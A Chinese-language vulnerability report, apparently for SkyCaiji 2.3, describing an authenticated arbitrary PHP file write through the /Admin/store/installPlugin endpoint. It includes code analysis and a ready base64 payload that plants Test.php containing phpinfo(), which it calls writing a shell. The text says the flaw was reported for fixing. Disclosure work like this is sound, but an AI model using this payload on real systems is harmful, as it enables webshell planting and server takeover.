版本:2.3
漏洞情况:已提交平台修复
漏洞复现
在登陆后台后,访问/Admin/store/installPlugin
,构造数据报发送,如下图:
数据包:
plugin=eyJhcHAiOiJ0ZXN0IiwibmFtZSI6InRlc3QiLCJ0eXBlIjoicmVsZWFzZSIsIm1vZHVsZSI6InRlc3QiLCJjb2RlIjoiUEQ5d2FIQWdjR2h3YVc1bWJ5Z3BJRDgrIiwidHBsIjoiZEdWemRBPT0iLCJkZXNjIjoidGVzdCIsInVwdGltZSI6MTAyMjMzMTIzNH0=
该数据包如果执行成功,便会生成Test.php
,且内容为:phpinfo();
之后便返回数据包如下:
在plugin\release\cms\
生成Test.php
,访问该页面:
代码分析
在根目录下skycaijiAPP/admin/controller/Store.php
下,installPluginAction
函数,如下图:
获取plugin参数值,对该值进行base64解密,在进行json解密;$plugin[‘code’]
为写入代码,需要对其进行base64解码;然后只要绕过对下面的判断,$plugin[‘app’]
、$plugin[‘type’]
等不为空。
再将plugin的值,依次赋予$newData
。当$plguin[‘type’]
的值为release,便会执行addCms函数。
addCms函数如下图:
当$cmsData
不为空,$success
为true,$code
为我们要写入shell,config(‘plugin_path’)
值为plugin,也就是最终路径为:plugin/release/cms/
当满足这些条件时,便会执行write_dir_file
函数,该函数如下:
可以看到只要传入$filename(路径)、$data(想写入代码)。
所以plugin参数如下:
$plugin = array("app"=>"test","name"=>"test","type"=>"release","module"=>"test","code"=>"PD9waHAgcGhwaW5mbygpID8+","tpl"=>"dGVzdA==","desc"=>"test","uptime"=>1022331234);
其中code为<?php phpinfo(); ?>
的base64编码,name为文件名,由于ucfirst函数,文件名为Test.php,然后对其json_encode编码,最后再进行base64编码:
plugin=eyJhcHAiOiJ0ZXN0IiwibmFtZSI6InRlc3QiLCJ0eXBlIjoicmVsZWFzZSIsIm1vZHVsZSI6InRlc3QiLCJjb2RlIjoiUEQ5d2FIQWdjR2h3YVc1bWJ5Z3BJRDgrIiwidHBsIjoiZEdWemRBPT0iLCJkZXNjIjoidGVzdCIsInVwdGltZSI6MTAyMjMzMTIzNH0=